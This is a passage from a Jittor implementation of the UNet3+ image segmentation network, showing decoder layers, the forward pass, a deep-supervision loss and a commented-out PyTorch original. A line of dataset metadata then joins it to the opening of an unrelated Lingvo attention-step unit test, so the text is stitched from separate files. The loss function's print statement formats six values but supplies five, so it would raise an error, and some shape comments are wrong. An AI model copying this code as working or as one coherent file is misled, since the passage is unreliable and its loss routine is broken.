self.relu3d_1 = nn.ReLU()
'''stage 2d'''
# h1->512*512, hd2->256*256, Pooling 2 times
self.h1_PT_hd2 = nn.Pool(2, stride=2, ceil_mode=True, op='maximum')
self.h1_PT_hd2_conv = nn.Conv(filters[0], self.CatChannels, 3, padding=1)
self.h1_PT_hd2_bn = nn.BatchNorm(self.CatChannels)
self.h1_PT_hd2_relu = nn.ReLU()
# h2->256*256, hd2->256*256, Concatenation
self.h2_Cat_hd2_conv = nn.Conv(filters[1], self.CatChannels, 3, padding=1)
self.h2_Cat_hd2_bn = nn.BatchNorm(self.CatChannels)
self.h2_Cat_hd2_relu = nn.ReLU()
# hd3->128*128, hd2->256*256, Upsample 2 times
self.hd3_UT_hd2 = nn.Upsample(scale_factor=2, mode='bilinear')
self.hd3_UT_hd2_conv = nn.Conv(self.UpChannels, self.CatChannels, 3, padding=1)
self.hd3_UT_hd2_bn = nn.BatchNorm(self.CatChannels)
self.hd3_UT_hd2_relu = nn.ReLU()
# hd4->64*64, hd2->256*256, Upsample 4 times
self.hd4_UT_hd2 = nn.Upsample(scale_factor=4, mode='bilinear')
self.hd4_UT_hd2_conv = nn.Conv(self.UpChannels, self.CatChannels, 3, padding=1)
self.hd4_UT_hd2_bn = nn.BatchNorm(self.CatChannels)
self.hd4_UT_hd2_relu = nn.ReLU()
# hd5->32*32, hd2->256*256, Upsample 8 times
self.hd5_UT_hd2 = nn.Upsample(scale_factor=8, mode='bilinear')
self.hd5_UT_hd2_conv = nn.Conv(filters[4], self.CatChannels, 3, padding=1)
self.hd5_UT_hd2_bn = nn.BatchNorm(self.CatChannels)
self.hd5_UT_hd2_relu = nn.ReLU()
# fusion(h1_PT_hd2, h2_Cat_hd2, hd3_UT_hd2, hd4_UT_hd2, hd5_UT_hd2)
self.conv2d_1 = nn.Conv(self.UpChannels, self.UpChannels, 3, padding=1)
self.bn2d_1 = nn.BatchNorm(self.UpChannels)
self.relu2d_1 = nn.ReLU()
'''stage 1d'''
# h1->512*512, hd1->512*512, Concatenation
self.h1_Cat_hd1_conv = nn.Conv(filters[0], self.CatChannels, 3, padding=1)
self.h1_Cat_hd1_bn = nn.BatchNorm(self.CatChannels)
self.h1_Cat_hd1_relu = nn.ReLU()
# hd2->256*256, hd1->512*512, Upsample 2 times
self.hd2_UT_hd1 = nn.Upsample(scale_factor=2, mode='bilinear')
self.hd2_UT_hd1_conv = nn.Conv(self.UpChannels, self.CatChannels, 3, padding=1)
self.hd2_UT_hd1_bn = nn.BatchNorm(self.CatChannels)
self.hd2_UT_hd1_relu = nn.ReLU()
# hd3->128*128, hd1->512*512, Upsample 4 times
self.hd3_UT_hd1 = nn.Upsample(scale_factor=4, mode='bilinear')
self.hd3_UT_hd1_conv = nn.Conv(self.UpChannels, self.CatChannels, 3, padding=1)
self.hd3_UT_hd1_bn = nn.BatchNorm(self.CatChannels)
self.hd3_UT_hd1_relu = nn.ReLU()
# hd4->64*64, hd1->512*512, Upsample 8 times
self.hd4_UT_hd1 = nn.Upsample(scale_factor=8, mode='bilinear')
self.hd4_UT_hd1_conv = nn.Conv(self.UpChannels, self.CatChannels, 3, padding=1)
self.hd4_UT_hd1_bn = nn.BatchNorm(self.CatChannels)
self.hd4_UT_hd1_relu = nn.ReLU()
# hd5->32*32, hd1->512*512, Upsample 16 times
self.hd5_UT_hd1 = nn.Upsample(scale_factor=16, mode='bilinear')
self.hd5_UT_hd1_conv = nn.Conv(filters[4], self.CatChannels, 3, padding=1)
self.hd5_UT_hd1_bn = nn.BatchNorm(self.CatChannels)
self.hd5_UT_hd1_relu = nn.ReLU()
# fusion(h1_Cat_hd1, hd2_UT_hd1, hd3_UT_hd1, hd4_UT_hd1, hd5_UT_hd1)
self.conv1d_1 = nn.Conv(self.UpChannels, self.UpChannels, 3, padding=1)
self.bn1d_1 = nn.BatchNorm(self.UpChannels)
self.relu1d_1 = nn.ReLU()
# -------------Bilinear Upsampling--------------
self.upscore6 = nn.Upsample(scale_factor=32,mode='bilinear')
self.upscore5 = nn.Upsample(scale_factor=16,mode='bilinear')
self.upscore4 = nn.Upsample(scale_factor=8, mode='bilinear')
self.upscore3 = nn.Upsample(scale_factor=4, mode='bilinear')
self.upscore2 = nn.Upsample(scale_factor=2, mode='bilinear')
# DeepSup
self.outconv1 = nn.Conv2d(self.UpChannels, n_classes, 3, padding=1)
self.outconv2 = nn.Conv2d(self.UpChannels, n_classes, 3, padding=1)
self.outconv3 = nn.Conv2d(self.UpChannels, n_classes, 3, padding=1)
self.outconv4 = nn.Conv2d(self.UpChannels, n_classes, 3, padding=1)
self.outconv5 = nn.Conv2d(filters[4], n_classes, 3, padding=1)
def execute(self, inputs):
## -------------Encoder-------------
h1 = self.conv1(inputs)
h2 = self.maxpool1(h1)
h2 = self.conv2(h2)
h3 = self.maxpool2(h2)
h3 = self.conv3(h3)
h4 = self.maxpool3(h3)
h4 = self.conv4(h4)
h5 = self.maxpool4(h4)
hd5 = self.conv5(h5)
## -------------Decoder-------------
h1_PT_hd4 = self.h1_PT_hd4_relu(self.h1_PT_hd4_bn(self.h1_PT_hd4_conv(self.h1_PT_hd4(h1))))
h2_PT_hd4 = self.h2_PT_hd4_relu(self.h2_PT_hd4_bn(self.h2_PT_hd4_conv(self.h2_PT_hd4(h2))))
h3_PT_hd4 = self.h3_PT_hd4_relu(self.h3_PT_hd4_bn(self.h3_PT_hd4_conv(self.h3_PT_hd4(h3))))
h4_Cat_hd4 = self.h4_Cat_hd4_relu(self.h4_Cat_hd4_bn(self.h4_Cat_hd4_conv(h4)))
hd5_UT_hd4 = self.hd5_UT_hd4_relu(self.hd5_UT_hd4_bn(self.hd5_UT_hd4_conv(self.hd5_UT_hd4(hd5))))
hd4 = self.relu4d_1(self.bn4d_1(self.conv4d_1(jt.contrib.concat((h1_PT_hd4, h2_PT_hd4, h3_PT_hd4, h4_Cat_hd4, hd5_UT_hd4), dim=1))))
h1_PT_hd3 = self.h1_PT_hd3_relu(self.h1_PT_hd3_bn(self.h1_PT_hd3_conv(self.h1_PT_hd3(h1))))
h2_PT_hd3 = self.h2_PT_hd3_relu(self.h2_PT_hd3_bn(self.h2_PT_hd3_conv(self.h2_PT_hd3(h2))))
h3_Cat_hd3 = self.h3_Cat_hd3_relu(self.h3_Cat_hd3_bn(self.h3_Cat_hd3_conv(h3)))
hd4_UT_hd3 = self.hd4_UT_hd3_relu(self.hd4_UT_hd3_bn(self.hd4_UT_hd3_conv(self.hd4_UT_hd3(hd4))))
hd5_UT_hd3 = self.hd5_UT_hd3_relu(self.hd5_UT_hd3_bn(self.hd5_UT_hd3_conv(self.hd5_UT_hd3(hd5))))
hd3 = self.relu3d_1(self.bn3d_1(self.conv3d_1(jt.contrib.concat((h1_PT_hd3, h2_PT_hd3, h3_Cat_hd3, hd4_UT_hd3, hd5_UT_hd3), dim=1))))
h1_PT_hd2 = self.h1_PT_hd2_relu(self.h1_PT_hd2_bn(self.h1_PT_hd2_conv(self.h1_PT_hd2(h1))))
h2_Cat_hd2 = self.h2_Cat_hd2_relu(self.h2_Cat_hd2_bn(self.h2_Cat_hd2_conv(h2)))
hd3_UT_hd2 = self.hd3_UT_hd2_relu(self.hd3_UT_hd2_bn(self.hd3_UT_hd2_conv(self.hd3_UT_hd2(hd3))))
hd4_UT_hd2 = self.hd4_UT_hd2_relu(self.hd4_UT_hd2_bn(self.hd4_UT_hd2_conv(self.hd4_UT_hd2(hd4))))
hd5_UT_hd2 = self.hd5_UT_hd2_relu(self.hd5_UT_hd2_bn(self.hd5_UT_hd2_conv(self.hd5_UT_hd2(hd5))))
hd2 = self.relu2d_1(self.bn2d_1(self.conv2d_1(jt.contrib.concat((h1_PT_hd2, h2_Cat_hd2, hd3_UT_hd2, hd4_UT_hd2, hd5_UT_hd2), dim=1))))
h1_Cat_hd1 = self.h1_Cat_hd1_relu(self.h1_Cat_hd1_bn(self.h1_Cat_hd1_conv(h1)))
hd2_UT_hd1 = self.hd2_UT_hd1_relu(self.hd2_UT_hd1_bn(self.hd2_UT_hd1_conv(self.hd2_UT_hd1(hd2))))
hd3_UT_hd1 = self.hd3_UT_hd1_relu(self.hd3_UT_hd1_bn(self.hd3_UT_hd1_conv(self.hd3_UT_hd1(hd3))))
hd4_UT_hd1 = self.hd4_UT_hd1_relu(self.hd4_UT_hd1_bn(self.hd4_UT_hd1_conv(self.hd4_UT_hd1(hd4))))
hd5_UT_hd1 = self.hd5_UT_hd1_relu(self.hd5_UT_hd1_bn(self.hd5_UT_hd1_conv(self.hd5_UT_hd1(hd5))))
hd1 = self.relu1d_1(self.bn1d_1(self.conv1d_1(jt.contrib.concat((h1_Cat_hd1, hd2_UT_hd1, hd3_UT_hd1, hd4_UT_hd1, hd5_UT_hd1), dim=1))))
d5 = self.outconv5(hd5)
d5 = self.upscore5(d5) # 32->512
d4 = self.outconv4(hd4)
d4 = self.upscore4(d4) # 64->512
d3 = self.outconv3(hd3)
d3 = self.upscore3(d3) # 128->512
d2 = self.outconv2(hd2)
d2 = self.upscore2(d2) # 256->512
d1 = self.outconv1(hd1) # 512->512
return jt.sigmoid(d1), jt.sigmoid(d2), jt.sigmoid(d3), jt.sigmoid(d4), jt.sigmoid(d5)
def get_loss(self, target, d1, d2, d3, d4, d5, ignore_index=None):
loss1 = nn.cross_entropy_loss(d1, target, ignore_index=ignore_index) # tar loss
loss2 = nn.cross_entropy_loss(d2, target, ignore_index=ignore_index)
loss3 = nn.cross_entropy_loss(d3, target, ignore_index=ignore_index)
loss4 = nn.cross_entropy_loss(d4, target, ignore_index=ignore_index)
loss5 = nn.cross_entropy_loss(d5, target, ignore_index=ignore_index)
loss = loss1 + loss2 + loss3 + loss4 + loss5 # backward
print("l1: %3f, l2: %3f, l3: %3f, l4: %3f, l5: %3f, l6: %3f\n"%(loss1.data.item(),loss2.data.item(),loss3.data.item(),loss4.data.item(),loss5.data.item()))
return loss1, loss
def update_params(self, loss, optimizer):
optimizer.zero_grad()
loss.backward()
optimizer.step()
def main():
model = UNet3Plus_DeepSup()
x = jt.ones([2, 3, 512, 512])
y = model(x)
print (y[0].shape)
# _ = y.data
if __name__ == '__main__':
main()
# from jittor.utils.pytorch_converter import convert
# pytorch_code="""
# import numpy as np
# import torch
# import torch.nn as nn
# class unetConv2(nn.Module):
# def __init__(self, in_size, out_size, is_batchnorm, n=2, ks=3, stride=1, padding=1):
# super(unetConv2, self).__init__()
# self.n = n
# self.ks = ks
# self.stride = stride
# self.padding = padding
# s = stride
# p = padding
# if is_batchnorm:
# for i in range(1, n + 1):
# conv = nn.Sequential(nn.Conv2d(in_size, out_size, ks, s, p),
# nn.BatchNorm2d(out_size), nn.ReLU(inplace=True),)
# setattr(self, 'conv%d' % i, conv)
# in_size = out_size
# else:
# for i in range(1, n + 1):
# conv = nn.Sequential(nn.Conv2d(in_size, out_size, ks, s, p), nn.ReLU(inplace=True), )
# setattr(self, 'conv%d' % i, conv)
# in_size = out_size
# def forward(self, inputs):
# x = inputs
# for i in range(1, self.n + 1):
# conv = getattr(self, 'conv%d' % i)
# x = conv(x)
# return x
# class UNet3Plus(nn.Module):
# def __init__(self, n_channels=3, n_classes=1, bilinear=True, feature_scale=4,
# is_deconv=True, is_batchnorm=True):
# super(UNet3Plus, self).__init__()
# self.n_channels = n_channels
# self.n_classes = n_classes
# self.bilinear = bilinear
# self.feature_scale = feature_scale
# self.is_deconv = is_deconv
# self.is_batchnorm = is_batchnorm
# filters = [64, 128, 256, 512, 1024]
# ## -------------Encoder--------------
# self.conv1 = unetConv2(self.n_channels, filters[0], self.is_batchnorm)
# self.maxpool1 = nn.MaxPool2d(kernel_size=2)
# self.conv2 = unetConv2(filters[0], filters[1], self.is_batchnorm)
# self.maxpool2 = nn.MaxPool2d(kernel_size=2)
# self.conv3 = unetConv2(filters[1], filters[2], self.is_batchnorm)
# self.maxpool3 = nn.MaxPool2d(kernel_size=2)
# self.conv4 = unetConv2(filters[2], filters[3], self.is_batchnorm)
# self.maxpool4 = nn.MaxPool2d(kernel_size=2)
# self.conv5 = unetConv2(filters[3], filters[4], self.is_batchnorm)
# ## -------------Decoder--------------
# self.CatChannels = filters[0]
# self.CatBlocks = 5
# self.UpChannels = self.CatChannels * self.CatBlocks
# '''stage 4d'''
# # h1->320*320, hd4->40*40, Pooling 8 times
# self.h1_PT_hd4 = nn.MaxPool2d(8, 8, ceil_mode=True)
# self.h1_PT_hd4_conv = nn.Conv2d(filters[0], self.CatChannels, 3, padding=1)
# self.h1_PT_hd4_bn = nn.BatchNorm2d(self.CatChannels)
# self.h1_PT_hd4_relu = nn.ReLU(inplace=True)
# # h2->160*160, hd4->40*40, Pooling 4 times
# self.h2_PT_hd4 = nn.MaxPool2d(4, 4, ceil_mode=True)
# self.h2_PT_hd4_conv = nn.Conv2d(filters[1], self.CatChannels, 3, padding=1)
# self.h2_PT_hd4_bn = nn.BatchNorm2d(self.CatChannels)
# self.h2_PT_hd4_relu = nn.ReLU(inplace=True)
# # h3->80*80, hd4->40*40, Pooling 2 times
# self.h3_PT_hd4 = nn.MaxPool2d(2, 2, ceil_mode=True)
# self.h3_PT_hd4_conv = nn.Conv2d(filters[2], self.CatChannels, 3, padding=1)
# self.h3_PT_hd4_bn = nn.BatchNorm2d(self.CatChannels)
# self.h3_PT_hd4_relu = nn.ReLU(inplace=True)
# # h4->40*40, hd4->40*40, Concatenation
# self.h4_Cat_hd4_conv = nn.Conv2d(filters[3], self.CatChannels, 3, padding=1)
# self.h4_Cat_hd4_bn = nn.BatchNorm2d(self.CatChannels)
# self.h4_Cat_hd4_relu = nn.ReLU(inplace=True)
# # hd5->20*20, hd4->40*40, Upsample 2 times
# self.hd5_UT_hd4 = nn.Upsample(scale_factor=2, mode='bilinear') # 14*14
# self.hd5_UT_hd4_conv = nn.Conv2d(filters[4], self.CatChannels, 3, padding=1)
# self.hd5_UT_hd4_bn = nn.BatchNorm2d(self.CatChannels)
# self.hd5_UT_hd4_relu = nn.ReLU(inplace=True)
# # fusion(h1_PT_hd4, h2_PT_hd4, h3_PT_hd4, h4_Cat_hd4, hd5_UT_hd4)
# self.conv4d_1 = nn.Conv2d(self.UpChannels, self.UpChannels, 3, padding=1) # 16
# self.bn4d_1 = nn.BatchNorm2d(self.UpChannels)
# self.relu4d_1 = nn.ReLU(inplace=True)
# '''stage 3d'''
# # h1->320*320, hd3->80*80, Pooling 4 times
# self.h1_PT_hd3 = nn.MaxPool2d(4, 4, ceil_mode=True)
# self.h1_PT_hd3_conv = nn.Conv2d(filters[0], self.CatChannels, 3, padding=1)
# self.h1_PT_hd3_bn = nn.BatchNorm2d(self.CatChannels)
# self.h1_PT_hd3_relu = nn.ReLU(inplace=True)
# # h2->160*160, hd3->80*80, Pooling 2 times
# self.h2_PT_hd3 = nn.MaxPool2d(2, 2, ceil_mode=True)
# self.h2_PT_hd3_conv = nn.Conv2d(filters[1], self.CatChannels, 3, padding=1)
# self.h2_PT_hd3_bn = nn.BatchNorm2d(self.CatChannels)
# self.h2_PT_hd3_relu = nn.ReLU(inplace=True)
# # h3->80*80, hd3->80*80, Concatenation
# self.h3_Cat_hd3_conv = nn.Conv2d(filters[2], self.CatChannels, 3, padding=1)
# self.h3_Cat_hd3_bn = nn.BatchNorm2d(self.CatChannels)
# self.h3_Cat_hd3_relu = nn.ReLU(inplace=True)
# # hd4->40*40, hd4->80*80, Upsample 2 times
# self.hd4_UT_hd3 = nn.Upsample(scale_factor=2, mode='bilinear') # 14*14
# self.hd4_UT_hd3_conv = nn.Conv2d(self.UpChannels, self.CatChannels, 3, padding=1)
# self.hd4_UT_hd3_bn = nn.BatchNorm2d(self.CatChannels)
# self.hd4_UT_hd3_relu = nn.ReLU(inplace=True)
# # hd5->20*20, hd4->80*80, Upsample 4 times
# self.hd5_UT_hd3 = nn.Upsample(scale_factor=4, mode='bilinear') # 14*14
# self.hd5_UT_hd3_conv = nn.Conv2d(filters[4], self.CatChannels, 3, padding=1)
# self.hd5_UT_hd3_bn = nn.BatchNorm2d(self.CatChannels)
# self.hd5_UT_hd3_relu = nn.ReLU(inplace=True)
# # fusion(h1_PT_hd3, h2_PT_hd3, h3_Cat_hd3, hd4_UT_hd3, hd5_UT_hd3)
# self.conv3d_1 = nn.Conv2d(self.UpChannels, self.UpChannels, 3, padding=1) # 16
# self.bn3d_1 = nn.BatchNorm2d(self.UpChannels)
# self.relu3d_1 = nn.ReLU(inplace=True)
# '''stage 2d '''
# # h1->320*320, hd2->160*160, Pooling 2 times
# self.h1_PT_hd2 = nn.MaxPool2d(2, 2, ceil_mode=True)
# self.h1_PT_hd2_conv = nn.Conv2d(filters[0], self.CatChannels, 3, padding=1)
# self.h1_PT_hd2_bn = nn.BatchNorm2d(self.CatChannels)
# self.h1_PT_hd2_relu = nn.ReLU(inplace=True)
# # h2->160*160, hd2->160*160, Concatenation
# self.h2_Cat_hd2_conv = nn.Conv2d(filters[1], self.CatChannels, 3, padding=1)
# self.h2_Cat_hd2_bn = nn.BatchNorm2d(self.CatChannels)
# self.h2_Cat_hd2_relu = nn.ReLU(inplace=True)
# # hd3->80*80, hd2->160*160, Upsample 2 times
# self.hd3_UT_hd2 = nn.Upsample(scale_factor=2, mode='bilinear') # 14*14
# self.hd3_UT_hd2_conv = nn.Conv2d(self.UpChannels, self.CatChannels, 3, padding=1)
# self.hd3_UT_hd2_bn = nn.BatchNorm2d(self.CatChannels)
# self.hd3_UT_hd2_relu = nn.ReLU(inplace=True)
# # hd4->40*40, hd2->160*160, Upsample 4 times
# self.hd4_UT_hd2 = nn.Upsample(scale_factor=4, mode='bilinear') # 14*14
# self.hd4_UT_hd2_conv = nn.Conv2d(self.UpChannels, self.CatChannels, 3, padding=1)
# self.hd4_UT_hd2_bn = nn.BatchNorm2d(self.CatChannels)
# self.hd4_UT_hd2_relu = nn.ReLU(inplace=True)
# # hd5->20*20, hd2->160*160, Upsample 8 times
# self.hd5_UT_hd2 = nn.Upsample(scale_factor=8, mode='bilinear') # 14*14
# self.hd5_UT_hd2_conv = nn.Conv2d(filters[4], self.CatChannels, 3, padding=1)
# self.hd5_UT_hd2_bn = nn.BatchNorm2d(self.CatChannels)
# self.hd5_UT_hd2_relu = nn.ReLU(inplace=True)
# # fusion(h1_PT_hd2, h2_Cat_hd2, hd3_UT_hd2, hd4_UT_hd2, hd5_UT_hd2)
# self.conv2d_1 = nn.Conv2d(self.UpChannels, self.UpChannels, 3, padding=1) # 16
# self.bn2d_1 = nn.BatchNorm2d(self.UpChannels)
# self.relu2d_1 = nn.ReLU(inplace=True)
# '''stage 1d'''
# # h1->320*320, hd1->320*320, Concatenation
# self.h1_Cat_hd1_conv = nn.Conv2d(filters[0], self.CatChannels, 3, padding=1)
# self.h1_Cat_hd1_bn = nn.BatchNorm2d(self.CatChannels)
# self.h1_Cat_hd1_relu = nn.ReLU(inplace=True)
# # hd2->160*160, hd1->320*320, Upsample 2 times
# self.hd2_UT_hd1 = nn.Upsample(scale_factor=2, mode='bilinear') # 14*14
# self.hd2_UT_hd1_conv = nn.Conv2d(self.UpChannels, self.CatChannels, 3, padding=1)
# self.hd2_UT_hd1_bn = nn.BatchNorm2d(self.CatChannels)
# self.hd2_UT_hd1_relu = nn.ReLU(inplace=True)
# # hd3->80*80, hd1->320*320, Upsample 4 times
# self.hd3_UT_hd1 = nn.Upsample(scale_factor=4, mode='bilinear') # 14*14
# self.hd3_UT_hd1_conv = nn.Conv2d(self.UpChannels, self.CatChannels, 3, padding=1)
# self.hd3_UT_hd1_bn = nn.BatchNorm2d(self.CatChannels)
# self.hd3_UT_hd1_relu = nn.ReLU(inplace=True)
# # hd4->40*40, hd1->320*320, Upsample 8 times
# self.hd4_UT_hd1 = nn.Upsample(scale_factor=8, mode='bilinear') # 14*14
# self.hd4_UT_hd1_conv = nn.Conv2d(self.UpChannels, self.CatChannels, 3, padding=1)
# self.hd4_UT_hd1_bn = nn.BatchNorm2d(self.CatChannels)
# self.hd4_UT_hd1_relu = nn.ReLU(inplace=True)
# # hd5->20*20, hd1->320*320, Upsample 16 times
# self.hd5_UT_hd1 = nn.Upsample(scale_factor=16, mode='bilinear') # 14*14
# self.hd5_UT_hd1_conv = nn.Conv2d(filters[4], self.CatChannels, 3, padding=1)
# self.hd5_UT_hd1_bn = nn.BatchNorm2d(self.CatChannels)
# self.hd5_UT_hd1_relu = nn.ReLU(inplace=True)
# # fusion(h1_Cat_hd1, hd2_UT_hd1, hd3_UT_hd1, hd4_UT_hd1, hd5_UT_hd1)
# self.conv1d_1 = nn.Conv2d(self.UpChannels, self.UpChannels, 3, padding=1) # 16
# self.bn1d_1 = nn.BatchNorm2d(self.UpChannels)
# self.relu1d_1 = nn.ReLU(inplace=True)
# # output
# self.outconv1 = nn.Conv2d(self.UpChannels, n_classes, 3, padding=1)
# def forward(self, inputs):
# ## -------------Encoder-------------
# h1 = self.conv1(inputs) # h1->320*320*64
# h2 = self.maxpool1(h1)
# h2 = self.conv2(h2) # h2->160*160*128
# h3 = self.maxpool2(h2)
# h3 = self.conv3(h3) # h3->80*80*256
# h4 = self.maxpool3(h3)
# h4 = self.conv4(h4) # h4->40*40*512
# h5 = self.maxpool4(h4)
# hd5 = self.conv5(h5) # h5->20*20*1024
# ## -------------Decoder-------------
# h1_PT_hd4 = self.h1_PT_hd4_relu(self.h1_PT_hd4_bn(self.h1_PT_hd4_conv(self.h1_PT_hd4(h1))))
# h2_PT_hd4 = self.h2_PT_hd4_relu(self.h2_PT_hd4_bn(self.h2_PT_hd4_conv(self.h2_PT_hd4(h2))))
# h3_PT_hd4 = self.h3_PT_hd4_relu(self.h3_PT_hd4_bn(self.h3_PT_hd4_conv(self.h3_PT_hd4(h3))))
# h4_Cat_hd4 = self.h4_Cat_hd4_relu(self.h4_Cat_hd4_bn(self.h4_Cat_hd4_conv(h4)))
# hd5_UT_hd4 = self.hd5_UT_hd4_relu(self.hd5_UT_hd4_bn(self.hd5_UT_hd4_conv(self.hd5_UT_hd4(hd5))))
# hd4 = self.relu4d_1(self.bn4d_1(self.conv4d_1(torch.cat((h1_PT_hd4, h2_PT_hd4, h3_PT_hd4, h4_Cat_hd4, hd5_UT_hd4), 1)))) # hd4->40*40*UpChannels
# h1_PT_hd3 = self.h1_PT_hd3_relu(self.h1_PT_hd3_bn(self.h1_PT_hd3_conv(self.h1_PT_hd3(h1))))
# h2_PT_hd3 = self.h2_PT_hd3_relu(self.h2_PT_hd3_bn(self.h2_PT_hd3_conv(self.h2_PT_hd3(h2))))
# h3_Cat_hd3 = self.h3_Cat_hd3_relu(self.h3_Cat_hd3_bn(self.h3_Cat_hd3_conv(h3)))
# hd4_UT_hd3 = self.hd4_UT_hd3_relu(self.hd4_UT_hd3_bn(self.hd4_UT_hd3_conv(self.hd4_UT_hd3(hd4))))
# hd5_UT_hd3 = self.hd5_UT_hd3_relu(self.hd5_UT_hd3_bn(self.hd5_UT_hd3_conv(self.hd5_UT_hd3(hd5))))
# hd3 = self.relu3d_1(self.bn3d_1(self.conv3d_1(torch.cat((h1_PT_hd3, h2_PT_hd3, h3_Cat_hd3, hd4_UT_hd3, hd5_UT_hd3), 1)))) # hd3->80*80*UpChannels
# h1_PT_hd2 = self.h1_PT_hd2_relu(self.h1_PT_hd2_bn(self.h1_PT_hd2_conv(self.h1_PT_hd2(h1))))
# h2_Cat_hd2 = self.h2_Cat_hd2_relu(self.h2_Cat_hd2_bn(self.h2_Cat_hd2_conv(h2)))
# hd3_UT_hd2 = self.hd3_UT_hd2_relu(self.hd3_UT_hd2_bn(self.hd3_UT_hd2_conv(self.hd3_UT_hd2(hd3))))
# hd4_UT_hd2 = self.hd4_UT_hd2_relu(self.hd4_UT_hd2_bn(self.hd4_UT_hd2_conv(self.hd4_UT_hd2(hd4))))
# hd5_UT_hd2 = self.hd5_UT_hd2_relu(self.hd5_UT_hd2_bn(self.hd5_UT_hd2_conv(self.hd5_UT_hd2(hd5))))
# hd2 = self.relu2d_1(self.bn2d_1(self.conv2d_1(torch.cat((h1_PT_hd2, h2_Cat_hd2, hd3_UT_hd2, hd4_UT_hd2, hd5_UT_hd2), 1)))) # hd2->160*160*UpChannels
# h1_Cat_hd1 = self.h1_Cat_hd1_relu(self.h1_Cat_hd1_bn(self.h1_Cat_hd1_conv(h1)))
# hd2_UT_hd1 = self.hd2_UT_hd1_relu(self.hd2_UT_hd1_bn(self.hd2_UT_hd1_conv(self.hd2_UT_hd1(hd2))))
# hd3_UT_hd1 = self.hd3_UT_hd1_relu(self.hd3_UT_hd1_bn(self.hd3_UT_hd1_conv(self.hd3_UT_hd1(hd3))))
# hd4_UT_hd1 = self.hd4_UT_hd1_relu(self.hd4_UT_hd1_bn(self.hd4_UT_hd1_conv(self.hd4_UT_hd1(hd4))))
# hd5_UT_hd1 = self.hd5_UT_hd1_relu(self.hd5_UT_hd1_bn(self.hd5_UT_hd1_conv(self.hd5_UT_hd1(hd5))))
# hd1 = self.relu1d_1(self.bn1d_1(self.conv1d_1(torch.cat((h1_Cat_hd1, hd2_UT_hd1, hd3_UT_hd1, hd4_UT_hd1, hd5_UT_hd1), 1)))) # hd1->320*320*UpChannels
# d1 = self.outconv1(hd1) # d1->320*320*n_classes
# return d1
# """
# jittor_code = convert(pytorch_code)
# print(jittor_code) | 50.404916 | 163 | 0.651567 | 6,352 | 38,963 | 3.693325 | 0.034162 | 0.028133 | 0.036829 | 0.039898 | 0.888619 | 0.873828 | 0.854859 | 0.836701 | 0.79416 | 0.756053 | 0 | 0.101063 | 0.205374 | 38,963 | 773 | 164 | 50.404916 | 0.656665 | 0.403177 | 0 | 0.803419 | 0 | 0.002849 | 0.017669 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.037037 | false | 0 | 0.011396 | 0.005698 | 0.076923 | 0.005698 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
ff9b547b2d7df547d3f52fcfead6ed88bfe489b8 | 28,855 | py | Python | lingvo/core/steps/attention_steps_test.py | Harshs27/lingvo | bd396e651488b2e2c4a7416be077b4a0226c87c8 | [
"Apache-2.0"
] | 2,611 | 2018-10-16T20:14:10.000Z | 2022-03-31T14:48:41.000Z | lingvo/core/steps/attention_steps_test.py | Harshs27/lingvo | bd396e651488b2e2c4a7416be077b4a0226c87c8 | [
"Apache-2.0"
] | 249 | 2018-10-27T06:02:29.000Z | 2022-03-30T18:00:39.000Z | lingvo/core/steps/attention_steps_test.py | Harshs27/lingvo | bd396e651488b2e2c4a7416be077b4a0226c87c8 | [
"Apache-2.0"
] | 436 | 2018-10-25T05:31:45.000Z | 2022-03-31T07:26:03.000Z | # Lint as: python3
# Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Tests for third_party.py.lingvo.core.steps.attention_steps."""
from lingvo import compat as tf
from lingvo.core import attention
from lingvo.core import py_utils
from lingvo.core import test_utils
from lingvo.core.steps import attention_steps
import numpy as np
class AttentionStepsTest(test_utils.TestCase):
def testAttentionStep(self):
with self.session(use_gpu=False):
np.random.seed(12345)
src_batch_size = 3
target_batch_size = 6
src_length = 5
src_context_dim = 4
query_dim = 5
src_dim = 4
source_vecs = tf.constant(
np.random.rand(src_length, src_batch_size, src_dim), dtype=tf.float32)
source_contexts = tf.constant(
np.random.rand(src_length, src_batch_size, src_context_dim),
dtype=tf.float32)
source_padding = tf.zeros([src_length, target_batch_size],
dtype=tf.float32)
query_vec = tf.constant(
np.random.rand(target_batch_size, query_dim), dtype=tf.float32)
p = attention_steps.AttentionStep.Params()
p.atten.params_init = py_utils.WeightInit.Gaussian(0.1, 12345)
p.atten.source_dim = src_dim
p.atten.query_dim = query_dim
p.atten.hidden_dim = query_dim
p.atten.vn.global_vn = False
p.atten.vn.per_step_vn = False
p.atten.packed_input = True
step = p.Instantiate()
external_inputs = py_utils.NestedMap(
src=source_vecs,
context=source_contexts,
padding=source_padding)
packed = step.PrepareExternalInputs(step.theta, external_inputs)
state0 = step.ZeroState(step.theta, packed, target_batch_size)
step_inputs = py_utils.NestedMap(inputs=[query_vec])
step_padding = tf.zeros([target_batch_size, 1], dtype=tf.float32)
output, state1 = step.FProp(step.theta, packed, step_inputs, step_padding,
state0)
self.evaluate(tf.global_variables_initializer())
output, state1 = self.evaluate([output, state1])
self.assertAllClose(
output, {
'context': [[0.41788787, 0.5865286, 0.58267754, 0.21218117],
[0.42178467, 0.5067202, 0.5413259, 0.6616881],
[0.71586907, 0.6303425, 0.52290946, 0.694283],
[0.41789612, 0.58647645, 0.5826333, 0.21220288],
[0.421697, 0.5068262, 0.5411844, 0.66167986],
[0.7156511, 0.63033843, 0.5228955, 0.69437]],
'probs':
[[0.20118009, 0.19332525, 0.20120151, 0.2022583, 0.20203482],
[0.20019522, 0.20133461, 0.19572362, 0.2025276, 0.2002189],
[0.20116101, 0.20004824, 0.20221081, 0.19645905, 0.20012087],
[0.20123273, 0.19319996, 0.20131132, 0.20220752, 0.2020485],
[0.2002011, 0.2015253, 0.19534773, 0.20260131, 0.20032457],
[0.20097165, 0.19993119, 0.20225787, 0.19671878, 0.20012051]]
})
